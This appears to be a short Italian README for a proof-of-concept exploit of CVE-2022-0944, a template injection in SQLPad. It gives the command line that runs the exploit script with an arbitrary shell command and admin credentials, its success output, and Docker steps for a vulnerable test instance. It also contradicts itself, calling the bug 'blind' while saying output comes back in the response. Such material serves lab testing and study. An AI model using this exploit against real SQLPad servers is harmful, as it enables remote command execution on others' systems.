CVE-2022-0944

SQLPad - Iniezione di template

Questa è una vulnerabilità blind, il che significa che l'output viene restituito direttamente nella risposta.

Exploit

Usa lo script con il seguente comando:
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password

Output

[*] Login was successfull
[*] Exploited!

Ambiente di test

Usando Docker:

• Avvia il container Docker - sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0
• Collegati al container Docker - sudo docker exec -it vulnerable-sqlpad /bin/bash